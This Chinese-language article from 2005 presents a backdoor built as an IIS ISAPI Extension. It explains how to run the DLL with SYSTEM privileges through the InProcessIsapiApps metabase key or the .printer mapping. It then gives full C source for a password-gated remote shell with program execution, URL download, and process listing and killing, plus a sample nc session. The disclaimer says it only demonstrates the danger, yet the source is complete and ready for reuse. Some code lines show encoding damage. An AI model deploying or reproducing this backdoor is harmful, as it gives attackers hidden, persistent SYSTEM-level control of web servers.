一.前言
二.申明
三.實(shí)現(xiàn)
四.參考


一.前言

    最近的sql injection攻擊很流行，一般的解決方法是使用通用的防注入函數(shù)來保護(hù)程序不受威脅。但是有寫些序作者經(jīng)常忘記包含通用函數(shù)，導(dǎo)致沒有效果。前些日子研究徹底防止SQL Injection攻擊時(shí)，看了些IIS5的ISAPI Filter文檔，決定利用IIS提供的API接口做個(gè)東西，這樣可以很好的防止sql injection攻擊。
    湊巧發(fā)現(xiàn)，這樣依附在IIS上面的擴(kuò)展模塊，還可以作為別的用處，比如作為一個(gè)后門程序。這樣進(jìn)程的隱藏，端口的隱藏，服務(wù)的隱藏問題都不需要解決，由IIS包辦了。作為后門，為了隱蔽性，我選擇了ISAPI Extension接口。前后大約一個(gè)多星期，做出了一個(gè)這樣的東西，還不知道叫什么名字好。


二.申明

    1.代碼里面有些特殊字符，因?yàn)槲彝洸涣怂?，?qǐng)自己修改。
    2.代碼可以隨意轉(zhuǎn)載，但是請(qǐng)保證文檔完整，并不得用于商業(yè)用途。
    3.代碼可以隨意修改，但是如果能夠給我一份，將不勝感激。
    4.代碼我只是演示這種后門的危害，用做任何用途均與我無關(guān)。

三.實(shí)現(xiàn)

    1.解析

    鑒于隱蔽性，我沒有選擇ISAPI Filter，而是選擇了ISAPI Extension方式。ISAPI Extension是IIS的功能擴(kuò)展模塊，它能獨(dú)立支持某一項(xiàng)特殊的HTTP請(qǐng)求，系統(tǒng)默認(rèn)支持的asp腳本由%SystemRoot%\system32\inetsrv\inetsrv\asp.dll解析。自己實(shí)現(xiàn)一個(gè)動(dòng)態(tài)連接庫，就可以實(shí)現(xiàn)自己特殊的功能，例如php就是利用自己帶的dll文件來解析php文件的。IIS先獲取請(qǐng)求文件的擴(kuò)展名，再根據(jù)配置的應(yīng)用程序映射，交由特定的dll處理。

    2.權(quán)限

    IIS5的配置都保存在%SystemRoot%\system32\inetsrv\MetaBase.bin文件中，它有兩個(gè)主鍵：LM和Schema。LM主鍵下面有W3SVC/InProcessIsapiApps鍵，這是一個(gè)數(shù)組，里面包含的是一組指向一些ISAPI的路徑。在這個(gè)數(shù)組里面的ISAPI運(yùn)行的時(shí)候都是由inetinfo.exe直接啟動(dòng)的，繼承inetinfo.exe的local system權(quán)限；而不在其中的ISAPI則是由svchost.exe派生的dllhost.exe進(jìn)程啟動(dòng)的，運(yùn)行的身份是IWAM_NAME，權(quán)限極低。這里，我們可以使用iis的腳本adsutil.vbs將我們的dll加到數(shù)組當(dāng)中，命令為adsutil.vbs set w3svc/inprocessisapiapps Dll Path。更好的辦法是替換掉printer擴(kuò)展的映射，此映射由%systemroot%\msw3prt.dll來解析，而且這個(gè)dll文件默認(rèn)存在于W3SVC/InProcessIsapiApps鍵中。這也就是2000年.printer溢出得到system權(quán)  限的原因。

    3.導(dǎo)出

    根據(jù)MSDN描述，ISAPI Extension需要導(dǎo)出三個(gè)函數(shù)，GetExtensionVersion，TerminateExtension以及HttpExtensionProc

    4.功能

    首先，密碼功能肯定是需要的，這里我將標(biāo)準(zhǔn)的HTTP協(xié)議擴(kuò)充出一個(gè)Icy方法，如果客戶端使用此方法請(qǐng)求注冊(cè)的映射，則認(rèn)證成功，否則不予理睬。這里，你也可以修改代碼，使用HTTP協(xié)議的其他部分做認(rèn)證，比如Accept字段。

    其次，后門主要是獲取一個(gè)shell，但是某些服務(wù)器可能設(shè)置了禁止system訪問cmd，因此，我還提供了下載功能，這樣可以下載一個(gè)cmd，然后通過shell CustomerCmd運(yùn)行，得到shell執(zhí)行命令。最后就是列舉進(jìn)程和查殺進(jìn)程了。

    在虛擬機(jī)上測試，我注冊(cè)了擴(kuò)展名為yunshu交由此dll解析。使用nc連接，發(fā)送自己擴(kuò)展的http協(xié)議，屏幕copy如下：
    C:\>nc -vv 192.168.10.250 80
    Warning: forward host lookup failed for Icy.missyou.com: h_errno 11004:NO_DATA
    Icy.missyou.com [192.168.10.250] 80 (http) open: unknown socket error
    Icy /test.yunshu HTTP/1.0
    HOST: 192.168.10.250

    Can you tell me how to forget some one?
    Code by 云舒
    Our team:www.ph4nt0m.org

    Icy>help

    Now,Support these command:
    pslist--------------List Process Information
    kill PID------------Kill The Process
    exec Program--------Run A Program
    shell ShellPath-----Get A System Shell,Normal shell cmd.exe
    down URL------------DownLoad A File
    exit----------------Exit
    Icy>

    5.代碼

// ISAPI EXTENSION BACK DOOR
// Code by 云舒
// Thx EnvyMask
// 修改2005-08-14凌晨
// 最后2005-08-16
// Compiled On: Windows Server2003,VC++ 6.0 

#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <tlhelp32.h>
#include <httpext.h>
#include <UrlMon.h>

#pragma comment(lib, "urlmon.lib")

#define DEBUG
#define    LOGPATH        "c:\\ISAPI_LOG.txt"

//后門密碼
#define    PASSWORD    "Icy"

//標(biāo)識(shí)符
#define FLAG    "Icy>"

//緩沖區(qū)大小
#define    BUFFSIZE    1024 * 4
#define ARGSIZE        1024

typedef struct workArg
{
    EXTENSION_CONTROL_BLOCK        *pECB;
    char                        arg[ARGSIZE];
}WORKARG;

//定義函數(shù)原形
BOOL    StartWith( char * , char * );                        //判斷第一個(gè)字符串是否以第二個(gè)字符串開頭
void    SwitchCmd( EXTENSION_CONTROL_BLOCK * , char * );    //根據(jù)輸入的命令來選擇執(zhí)行的功能
void    PsList( EXTENSION_CONTROL_BLOCK * );                //列舉進(jìn)程
void     Kill( LPVOID );                                        //殺進(jìn)程
void    Shell( LPVOID );                                    //獲取一個(gè)shell
void    ExecProgram( LPVOID );                                //運(yùn)行一個(gè)程序
void    Help( EXTENSION_CONTROL_BLOCK * );                    //輸出幫助
void    DownLoad( LPVOID );                                    //下載文件
BOOL    SendToClient( EXTENSION_CONTROL_BLOCK * , char * ); //發(fā)送數(shù)據(jù)到客戶端
void    LogStrToFile( char * );                                //記錄字符錯(cuò)誤信息到日志
void    LogIntToFile( int );                                //記錄整數(shù)信息到日志

//DLL入口
BOOL APIENTRY DllMain( HANDLE hModule,
                       DWORD ul_reason_for_call,
                       LPVOID lpReserved )
{
    return TRUE;
}

//版本信息
BOOL WINAPI GetExtensionVersion(HSE_VERSION_INFO *pVer)
{
    pVer->dwExtensionVersion = MAKELONG(HSE_VERSION_MINOR,HSE_VERSION_MAJOR);
    strcpy( pVer->lpszExtensionDesc, "What_Can_I_Do?" );

    return TRUE;
}


BOOL WINAPI TerminateExtension(  DWORD dwFlags  )
{
    return TRUE;
}

DWORD WINAPI HttpExtensionProc(EXTENSION_CONTROL_BLOCK * pECB)
{
    char     buff[BUFFSIZE] = { 0 };
    char     *err = "Error...\n";
    char     *helo = "Can you tell me how to forget some one?\nCode by 云舒\nOur team:www.ph4nt0m.org\n\n";

    DWORD     dwBytes = 64;

    //獲取客戶端密碼，連接到web服務(wù)器，發(fā)送請(qǐng)求,請(qǐng)求方式為密碼
    pECB->GetServerVariable( pECB->ConnID , "REQUEST_METHOD" , buff , &dwBytes );

    if ( strncmp( buff , PASSWORD , strlen(PASSWORD) ) != 0 )
    {
        SendToClient( pECB , err );
        return HSE_STATUS_SUCCESS;
    }

    #ifdef    DEBUG
        LogStrToFile( "-------------------------------\n" );
        LogStrToFile( "客戶端成功登陸\n" );
    #endif

    SendToClient( pECB , helo );
    SendToClient( pECB , FLAG );

    while(TRUE)
    {
        ZeroMemory( buff , BUFFSIZE );
        dwBytes = BUFFSIZE;

        while( buff[0] == ’\0’ )//判斷是否是空串
        {
            Sleep(1000);
            pECB->ReadClient( pECB->ConnID , buff , &dwBytes );
        }

        if( strcmp( buff , "exit\n" ) == 0 )
        {
            SendToClient( pECB , "ByeBye...\n" );
            break;
        }

        SwitchCmd( pECB , buff );
    }

    return HSE_STATUS_SUCCESS;
}

void SwitchCmd( EXTENSION_CONTROL_BLOCK *pECB , char *buff )
{
    WORKARG        workArg;
    HANDLE        hThread = NULL;
    DWORD        threadID = 0;

    //SendToClient( pECB , "客戶端命令: " );
    //SendToClient( pECB , buff );

    #ifdef    DEBUG
        LogStrToFile( "客戶端命令: " );
        LogStrToFile( buff );
    #endif

    //去掉命令里面的回車符
    *(strchr( buff , ’\n’ )) = ’\0’;

    //參數(shù)不能超過ARGSIZE
    if( strlen( buff+5 ) >= ARGSIZE )
    {
        SendToClient( pECB , "Arguments is too long...\n" );
        SendToClient( pECB , FLAG );

        return;
    }

    //將要傳遞給新線程的參數(shù)清空
    ZeroMemory( workArg.arg , sizeof(workArg.arg) );

    //如果是pslist命令，列舉進(jìn)程
    if( StartWith(buff , "pslist") )
    {
        hThread = CreateThread( NULL ,
                                0 ,
                                (LPTHREAD_START_ROUTINE)PsList ,
                                (LPVOID)pECB ,
                                0 ,
                                &threadID );

        if( hThread == NULL )
        {
            #ifdef DEBUG
                LogStrToFile( "創(chuàng)建線程列舉進(jìn)程失敗,錯(cuò)誤碼: " );
                LogIntToFile( GetLastError( ) );
                LogStrToFile( "\n" );
            #endif

            SendToClient( pECB , "List process error...\n" );
            SendToClient( pECB , FLAG );

            return;
        }

        WaitForSingleObject( hThread , 6000 );
        CloseHandle( hThread );
        SendToClient( pECB , FLAG );

        return;
    }

    //kill命令，殺進(jìn)程
    else if( StartWith(buff , "kill") )
    {
        //如果沒有參數(shù)
        if( *( buff+5 ) == ’\0’ )
        {
            SendToClient( pECB , "Usage:kill pid\n" );
            SendToClient( pECB , FLAG );

            return;
        }

        workArg.pECB = pECB;
        strcpy( workArg.arg , buff+5 );

        hThread = CreateThread( NULL ,
                                0 ,
                                (LPTHREAD_START_ROUTINE)Kill ,
                                (LPVOID)&workArg ,
                                0 ,
                                &threadID );

        if( hThread == NULL )
        {
            #ifdef DEBUG
                LogStrToFile( "創(chuàng)建線程殺進(jìn)程失敗,錯(cuò)誤碼: " );
                LogIntToFile( GetLastError( ) );
                LogStrToFile( "\n" );
            #endif

            SendToClient( pECB , "Kill process error...\n" );
            SendToClient( pECB , FLAG );

            return;
        }
        WaitForSingleObject( hThread , 5000 );
        CloseHandle( hThread );
        SendToClient( pECB , FLAG );

        return;
    }

    //shell命令，運(yùn)行一個(gè)cmd獲取shell，為防止主機(jī)設(shè)置權(quán)限，需指明cmd路徑
    else if( StartWith(buff , "shell") )
    {
        //如果沒有參數(shù)
        if( *( buff+6 ) == ’\0’ )
        {
            SendToClient( pECB , "Usage:shell ShellPath\n" );
            SendToClient( pECB , FLAG );

            return;
        }

        workArg.pECB = pECB;
        strcpy( workArg.arg , buff+6 );

        hThread = CreateThread( NULL ,
                                0 ,
                                (LPTHREAD_START_ROUTINE)Shell ,
                                (LPVOID)&workArg ,
                                0 ,
                                &threadID );

        if( hThread == NULL )
        {
            #ifdef DEBUG
                LogStrToFile( "創(chuàng)建線程執(zhí)行shell失敗,錯(cuò)誤碼: " );
                LogIntToFile( GetLastError( ) );
                LogStrToFile( "\n" );
            #endif

            SendToClient( pECB , "Get shell error...\n" );
            SendToClient( pECB , FLAG );

            return;
        }
        WaitForSingleObject( hThread , INFINITE );
        CloseHandle( hThread );

        return;
    }

    else if( StartWith(buff , "exec") )
    {
        //如果沒有參數(shù)
        if( *( buff+5 ) == ’\0’ )
        {
            SendToClient( pECB , "Usage:shell ShellPath\n" );
            SendToClient( pECB , FLAG );

            return;
        }

        workArg.pECB = pECB;
        strcpy( workArg.arg , buff+5 );

        hThread = CreateThread( NULL ,
                                0 ,
                                (LPTHREAD_START_ROUTINE)ExecProgram ,
                                (LPVOID)&workArg ,
                                0 ,
                                &threadID );

        if( hThread == NULL )
        {
            #ifdef DEBUG
                LogStrToFile( "創(chuàng)建線程運(yùn)行程序失敗,錯(cuò)誤碼: " );
                LogIntToFile( GetLastError( ) );
                LogStrToFile( "\n" );
            #endif

            SendToClient( pECB , "Execute program error...\n" );
            SendToClient( pECB , FLAG );

            return;
        }
        WaitForSingleObject( hThread , 10000 );
        CloseHandle( hThread );

        return;
    }

    //down命令，利用http協(xié)議下載文件
    else if( StartWith(buff , "down") )
    {
        //如果沒有參數(shù)
        if( *( buff+5 ) == ’\0’ )
        {
            SendToClient( pECB , "Usage:down http://www.example.com/test.exe\n" );
            SendToClient( pECB , FLAG );

            return;
        }

        workArg.pECB = pECB;
        strcpy( workArg.arg , buff+5 );

        hThread = CreateThread( NULL ,
                                0 ,
                                (LPTHREAD_START_ROUTINE)DownLoad ,
                                (LPVOID)&workArg ,
                                0 ,
                                &threadID );

        if( hThread == NULL )
        {
            #ifdef DEBUG
                LogStrToFile( "創(chuàng)建線程下載文件失敗,錯(cuò)誤碼: " );
                LogIntToFile( GetLastError( ) );
                LogStrToFile( "\n" );
            #endif

            SendToClient( pECB , "Download file error...\n" );
            SendToClient( pECB , FLAG );

            return;
        }
        WaitForSingleObject( hThread , INFINITE );
        CloseHandle( hThread );
        SendToClient( pECB , FLAG );

        return;
    }

    //命令不正確，輸出幫助
    else
    {
        hThread = CreateThread( NULL ,
                                0 ,
                                (LPTHREAD_START_ROUTINE)Help ,
                                (LPVOID)pECB ,
                                0 ,
                                &threadID );

        if( hThread == NULL )
        {
            #ifdef DEBUG
                LogStrToFile( "創(chuàng)建線程輸出幫助信息失敗,錯(cuò)誤碼: " );
                LogIntToFile( GetLastError( ) );
                LogStrToFile( "\n" );
            #endif

            SendToClient( pECB , "Print help error...\n" );
            SendToClient( pECB , FLAG );

            return;
        }
        WaitForSingleObject( hThread , 5000 );
        CloseHandle( hThread );
        SendToClient( pECB , FLAG );

        return;
    }
}

//判斷字符串buf1是否以buf2開頭，是返回真
BOOL StartWith( char *buf1, char *buf2 )
{
    int len = strlen(buf2);

    if( memcmp( buf1,buf2,len) == 0)
    {
        return TRUE;
    }
    return FALSE;
}

//運(yùn)行shell
void Shell( LPVOID arg )
{
    WORKARG                 *workArg = (WORKARG *)arg;

    SECURITY_ATTRIBUTES     sa;
    HANDLE                     hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
    STARTUPINFO                si;
    PROCESS_INFORMATION     procInfo;
    char                    cmdLine[ARGSIZE] = { 0 };
    char                    buff[BUFFSIZE] = { 0 };
    int                        ret = 0;
    unsigned long            dwBytes = 0;
    int                        index = 0;

    EXTENSION_CONTROL_BLOCK *pECB = workArg->pECB;

    strcpy( cmdLine , workArg->arg );

    if( cmdLine[0] == ’\0’ )
    {
        #ifdef    DEBUG
            LogStrToFile( "執(zhí)行shell時(shí)，沒有要輸入要運(yùn)行的shell路徑\n" );
        #endif

        SendToClient( pECB , "No shell to run...\n" );
        SendToClient( pECB , FLAG );

        return;
    }

    #ifdef    DEBUG
        LogStrToFile( "要運(yùn)行的程序: " );
        LogStrToFile( workArg->arg );
        LogStrToFile( "\n" );
    #endif

    //安全選項(xiàng)
    sa.nLength = sizeof( sa );
    sa.lpSecurityDescriptor = 0;
    sa.bInheritHandle = TRUE;

    //初始化管道
    if( !CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0) )
    {
        #ifdef    DEBUG
            LogStrToFile( "建立管道失敗: " );
            LogIntToFile( GetLastError() );
            LogStrToFile( "\n" );
        #endif

        SendToClient( pECB , "Create pipi error...\n" );
        SendToClient( pECB , FLAG );

        return;
    }

    if( !CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0) )
    {
        #ifdef    DEBUG
            LogStrToFile( "建立管道失敗: " );
            LogIntToFile( GetLastError() );
            LogStrToFile( "\n" );
        #endif

        SendToClient( pECB , "Create pipi error...\n" );
        SendToClient( pECB , FLAG );

        return;
    }

    ZeroMemory( &si , sizeof(STARTUPINFO) );
    GetStartupInfo( &si );

    si.cb = sizeof( si );
    si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
    si.wShowWindow = SW_HIDE;
    si.hStdInput = hReadPipe2;
    si.hStdOutput = si.hStdError = hWritePipe1;

    ZeroMemory( &procInfo , sizeof(PROCESS_INFORMATION) );

    ret = CreateProcess( NULL , cmdLine , NULL , NULL , 1 , 0 , NULL , NULL , &si , &procInfo );
    if( !ret )
    {
        #ifdef    DEBUG
            LogStrToFile( "建立進(jìn)程失敗...\n" );
            LogIntToFile( GetLastError() );
        #endif

        SendToClient( pECB , "Create process error...\n" );
        SendToClient( pECB , FLAG );

        return;
    }

    while(1)
    {
        memset( buff , 0 , BUFFSIZE );

          ret=PeekNamedPipe( hReadPipe1 , buff , BUFFSIZE , &dwBytes , NULL , NULL );

          //嘗試5次讀取管道，防止延遲發(fā)生錯(cuò)誤
          for( index = 0; index < 5 && dwBytes == 0; index ++ )
        {
            Sleep(100);
            ret = PeekNamedPipe(hReadPipe1,buff,BUFFSIZE,&dwBytes,NULL,NULL);
        }

        //獲取輸出信息，輸出到客戶端
          if(dwBytes)
        {
               ret = ReadFile( hReadPipe1,buff,dwBytes,&dwBytes,0 );
               if( !ret )
            {
                #ifdef    DEBUG
                    LogStrToFile( "讀取輸出失敗: " );
                    LogIntToFile( GetLastError() );
                    LogStrToFile( "\n" );
                #endif

                break;
            }

            #ifdef    DEBUG
                LogStrToFile( buff );
            #endif

            ret = SendToClient( pECB , buff );
               if( ret<=0 )
            {
                #ifdef    DEBUG
                    LogStrToFile( "發(fā)送輸出失敗:" );
                    LogIntToFile( GetLastError() );
                    LogStrToFile( "\n" );
                #endif

                break;
            }
          }

        //從客戶端獲取命令
        else
        {
            //客戶端無輸入則循環(huán)讀取
            while( buff[0] == ’\0’ )
            {
                Sleep(100);
                dwBytes = BUFFSIZE;

                pECB->ReadClient( pECB->ConnID , buff , &dwBytes );
            }

            #ifdef    DEBUG
                LogStrToFile( "讀到客戶命令了，內(nèi)容是: " );
                LogStrToFile( buff );
            #endif

            //如果是exit命令，退出連接
            if( strcmp( buff , "exit\n" ) == 0 )
            {
                SendToClient( pECB , "ByeBye~!\n" );
                break;
            }

            ret = WriteFile( hWritePipe2 , buff , dwBytes , &dwBytes , 0 );
               if( !ret )
            {
                #ifdef    DEBUG
                    LogStrToFile( "把命令發(fā)送到shell失敗\n" );
                    LogIntToFile( GetLastError() );
                    LogStrToFile( "\n" );
                #endif

                break;
            }
        }
    }
    CloseHandle(hReadPipe1);
    CloseHandle(hReadPipe2);
    CloseHandle(hWritePipe1);
    CloseHandle(hWritePipe2);

    TerminateProcess( procInfo.hProcess , 0 );

    return;
}

//運(yùn)行一個(gè)程序
void    ExecProgram( LPVOID arg )
{
    WORKARG                 *workArg = (WORKARG *)arg;

    SECURITY_ATTRIBUTES     sa;
    HANDLE                     hReadPipe1 = NULL;
    HANDLE                    hWritePipe1 = NULL;
    STARTUPINFO                si;
    PROCESS_INFORMATION     procInfo;
    char                    cmdLine[ARGSIZE] = { 0 };
    char                    buff[BUFFSIZE] = { 0 };
    int                        ret = 0;
    unsigned long            dwBytes = 0;

    EXTENSION_CONTROL_BLOCK *pECB = workArg->pECB;

    strcpy( cmdLine , workArg->arg );

    if( cmdLine[0] == ’\0’ )
    {
        #ifdef    DEBUG
            LogStrToFile( "執(zhí)行程序時(shí)，沒有要輸入要運(yùn)行的程序\n" );
        #endif

        SendToClient( pECB , "No program to run...\n" );
        SendToClient( pECB , FLAG );

        return;
    }

    #ifdef    DEBUG
        LogStrToFile( "要運(yùn)行的程序: " );
        LogStrToFile( workArg->arg );
        LogStrToFile( "\n" );
    #endif

    //安全選項(xiàng)
    sa.nLength = sizeof( sa );
    sa.lpSecurityDescriptor = 0;
    sa.bInheritHandle = TRUE;

    //初始化管道
    if( !CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0) )
    {
        #ifdef    DEBUG
            LogStrToFile( "建立管道失敗: " );
            LogIntToFile( GetLastError() );
            LogStrToFile( "\n" );
        #endif

        SendToClient( pECB , "Create pipi error...\n" );
        SendToClient( pECB , FLAG );

        return;
    }

    ZeroMemory( &si , sizeof(STARTUPINFO) );
    GetStartupInfo( &si );

    si.cb = sizeof( si );
    si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
    si.wShowWindow = SW_HIDE;
    si.hStdOutput = si.hStdError = hWritePipe1;

    ZeroMemory( &procInfo , sizeof(PROCESS_INFORMATION) );

    ret = CreateProcess( NULL , cmdLine , NULL , NULL , 1 , 0 , NULL , NULL , &si , &procInfo );
    if( !ret )
    {
        #ifdef    DEBUG
            LogStrToFile( "建立進(jìn)程失敗...\n" );
            LogIntToFile( GetLastError() );
        #endif

        SendToClient( pECB , "Create process error...\n" );
        SendToClient( pECB , FLAG );

        return;
    }

    memset( buff , 0 , BUFFSIZE );

    //讀取程序輸出
    while( dwBytes == 0 )
    {
        Sleep(200);
        ret = PeekNamedPipe(hReadPipe1,buff,BUFFSIZE,&dwBytes,NULL,NULL);
    }

    ret = ReadFile( hReadPipe1,buff,dwBytes,&dwBytes,0 );
       if( !ret )
    {
        #ifdef    DEBUG
            LogStrToFile( "讀取輸出失敗: " );
 &n, bsp;          LogIntToFile( GetLastError() );
            LogStrToFile( "\n" );
        #endif
    }

    #ifdef    DEBUG
        LogStrToFile( buff );
    #endif

    ret = SendToClient( pECB , buff );
       if( ret<=0 )
    {
        #ifdef    DEBUG
            LogStrToFile( "發(fā)送輸出失敗:" );
            LogIntToFile( GetLastError() );
            LogStrToFile( "\n" );
        #endif
    }

    CloseHandle(hReadPipe1);
    CloseHandle(hWritePipe1);

    TerminateProcess( procInfo.hProcess , 0 );

    return;
}

void    PsList( EXTENSION_CONTROL_BLOCK *pECB  )
{
    HANDLE            hProcessSnap = NULL;
    HANDLE            hProcess = NULL;
    PROCESSENTRY32     pe32;
    char            psBuff[BUFFSIZE] = { 0 };

    SendToClient( pECB , "Process Information List 0.1\n\n" );
    /*
    SendToClient( pECB , "Code by 云舒(wustyunshu@hotmail.com)\n" );
    SendToClient( pECB , "www.ph4nt0m.org www.icylife.net\n" );
    */

    hProcessSnap = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 );
      if( hProcessSnap == INVALID_HANDLE_VALUE )
      {
        #ifdef    DEBUG
            LogStrToFile( "Call CreateToolhelp32Snapshot error" );
            LogIntToFile( GetLastError() );
        #endif

        SendToClient( pECB , "List process information error...\n" );

        return;
      }

    pe32.dwSize = sizeof( PROCESSENTRY32 );

    if( !Process32First( hProcessSnap, &pe32 ) )
    {
        #ifdef    DEBUG
            LogStrToFile( "Call Process32First error" );
            LogIntToFile( GetLastError() );
        #endif

        SendToClient( pECB , "List process information error...\n" );

        SendToClient( pECB , FLAG );

        CloseHandle( hProcessSnap );

        return;
    }

    SendToClient( pECB , "PID\t\tProcessName\n" );

    do
    {
        ZeroMemory( psBuff , sizeof(psBuff) );
        sprintf( psBuff , "%d\t\t%s\n", pe32.th32ProcessID , pe32.szExeFile );

        SendToClient( pECB , psBuff );
    }
    while( Process32Next( hProcessSnap, &pe32 ) );

    return;
}

void    Kill( LPVOID arg )
{
    WORKARG        *workArg = (WORKARG *)arg;

    HANDLE        hProcess = NULL;
    DWORD        pID;

    EXTENSION_CONTROL_BLOCK *pECB = workArg->pECB;

    HANDLE                hToken;
    LUID                 sedebugnameValue;
    TOKEN_PRIVILEGES     tkp;

    pID = atoi( workArg->arg );

    if ( !OpenProcessToken( GetCurrentProcess() , TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY , &hToken ) )
    {
        #ifdef    DEBUG
            LogStrToFile( "Call OpenProcessToken error" );
            LogIntToFile( GetLastError() );
        #endif

        SendToClient( pECB , "Kill process error...\n" );

        return;
    }

    if ( !LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &sedebugnameValue ) )
    {
        #ifdef    DEBUG
            LogStrToFile( "Call LookupPrivilegeValue error" );
            LogIntToFile( GetLastError() );
        #endif

        SendToClient( pECB , "Kill process error...\n" );

        return;
    }

    tkp.PrivilegeCount = 1;
    tkp.Privileges[0].Luid = sedebugnameValue;
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

    AdjustTokenPrivileges( hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL );

    CloseHandle( hToken );

    hProcess = OpenProcess( PROCESS_TERMINATE , FALSE , pID );
    if( hProcess ==INVALID_HANDLE_VALUE || hProcess == NULL )
    {
        #ifdef    DEBUG
            LogStrToFile( "Call OpenProcess error" );
            LogIntToFile( GetLastError() );
        #endif

        SendToClient( pECB , "Kill process error...\n" );

        CloseHandle( hToken );
        CloseHandle( hProcess );

        return;
    }

    if ( !TerminateProcess( hProcess, (DWORD) -1 ) )
    {
        #ifdef    DEBUG
            LogStrToFile( "Call TerminateProcess error" );
            LogIntToFile( GetLastError() );
        #endif

        SendToClient( pECB , "Kill process error...\n" );

        CloseHandle( hToken );
        CloseHandle( hProcess );

        return;
    }

    SendToClient( pECB , "killed ok\n" );

    CloseHandle( hToken );
    CloseHandle( hProcess );
    return;
}

void    DownLoad( LPVOID arg )
{
    WORKARG    *workArg = (WORKARG *)arg;

    char    fileName[64] = { 0 };//保存的文件名
    char    fullPath[256] = { 0 };//保存的完整地址
    char    url[ARGSIZE] = { 0 };//下載的URL
    char    seps[] = "/";//分割字符
    char    *token;
    int        ret = 0;

    EXTENSION_CONTROL_BLOCK *pECB = workArg->pECB;;

    strcpy( url , workArg->arg );

    token = strtok( url , seps );
      while( token != NULL )
    {
        strcpy( fileName , token );
        token = strtok( NULL , seps );
    }
    strcpy( url , workArg->arg );

    GetCurrentDirectory( sizeof(fullPath) - sizeof(fileName) , fullPath );
    strcat( fullPath , "\\" );
    strcat( fullPath , fileName );

    SendToClient( pECB , "Download " );
    SendToClient( pECB , url );
    SendToClient( pECB , "\nThe file saved to " );
    SendToClient( pECB , fullPath );

    ret = URLDownloadToFile( 0 , url , fullPath , 0 , 0 );
    if( ret == S_OK )
    {
        SendToClient( pECB , "\nDownLoad ok\n" );

        return;
    }
    #ifdef    DEBUG
        LogStrToFile( "Call URLDownloadToFile error" );
        LogIntToFile( GetLastError() );
    #endif

    SendToClient( pECB , "DownLoad file error...\n" );

    return;
}

void    Help( EXTENSION_CONTROL_BLOCK * pECB)
{
    char    buff[BUFFSIZE] = "\nNow,Support these command:\n";

    strcat( buff , "pslist--------------List Process Information\n" );
    strcat( buff , "kill PID------------Kill The Process\n" );
    strcat( buff , "exec Program--------Run A Program\n" );
    strcat( buff , "shell ShellPath-----Get A System Shell,Normal shell cmd.exe\n" );
    strcat( buff , "down URL------------DownLoad A File\n" );
    strcat( buff , "exit----------------Exit\n" );

    SendToClient( pECB , buff );

    return;
}

void     LogStrToFile( char *buff )
{
    FILE    *fp = NULL;

    fp = fopen( LOGPATH , "a+" );
    if( fp == NULL ) return;
    fputs( buff , fp );
    fclose( fp );
}

void    LogIntToFile( int num )
{
    FILE    *fp = NULL;

    fp = fopen( LOGPATH , "a+" );
    if( fp == NULL ) return;

    fprintf( fp , "%d" , num );
    fclose( fp );
}

BOOL    SendToClient( EXTENSION_CONTROL_BLOCK * pECB , char *buff )
{
    DWORD    dwByte = strlen(buff);
    return (pECB->WriteClient( pECB->ConnID , buff , &dwByte , 0 ));
}


四.感謝與參考

    1.在獲取shell的時(shí)候格式很難看，envymask告訴我是網(wǎng)絡(luò)延遲的原因，得以解決，感謝！
    2.參考《綠盟安全月刊》第37期的技術(shù)專題里面的第五章《Exploit Microsoft INTERNET INFORMATION SERVER》，地址為http://www.nsfocus.net/index.php?act=magazine&do=view&mid=1662
    3.參考MSDN函數(shù)庫 
Our Team: http://www.ph4nt0m.org
Author: 云舒(wustyunshu@hotmail.com)